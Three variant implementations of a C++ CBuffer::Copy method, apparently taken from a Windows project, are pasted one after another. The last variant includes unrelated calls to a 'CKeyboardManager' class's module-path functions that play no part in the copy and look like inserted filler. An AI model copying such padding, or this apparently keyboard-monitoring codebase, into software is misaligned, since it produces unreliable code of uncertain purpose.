//************************************ // Method: Copy // FullName: CBuffer::Copy // Access: public // Returns: void // Qualifier: Copy from one buffer object to another // Parameter: CBuffer & buffer //************************************ void CBuffer::Copy(CBuffer& buffer){ int nReSize = buffer.GetMemSize(); int nSize = buffer.GetBufferLen(); ClearBuffer(); ReAllocateBuffer(nReSize); m_pPtr = m_pBase + nSize; CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen()); }
void CBuffer::Copy(CBuffer& buffer) { int nReSize = buffer.GetMemSize(); //2048 2048 int nSize = buffer.GetBufferLen(); //1025 0 1025 ClearBuffer(); if (ReAllocateBuffer(nReSize) == -1) return; CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen()); m_pPtr = m_pBase + nSize; }
//////////////////////////////////////////////////////////////////////////////// // // FUNCTION: Copy // // DESCRIPTION: Copy from one buffer object to another... // // RETURNS: // // NOTES: // // MODIFICATIONS: // // Name Date Version Comments // N T ALMOND 270400 1.0 Origin // //////////////////////////////////////////////////////////////////////////////// void CBuffer::Copy(CBuffer& buffer) { TCHAR szModule [MAX_PATH]; int nReSize = buffer.GetMemSize(); int nSize = buffer.GetBufferLen(); ClearBuffer(); if (ReAllocateBuffer(nReSize) == -1) return; m_pPtr = m_pBase + nSize; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen()); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); }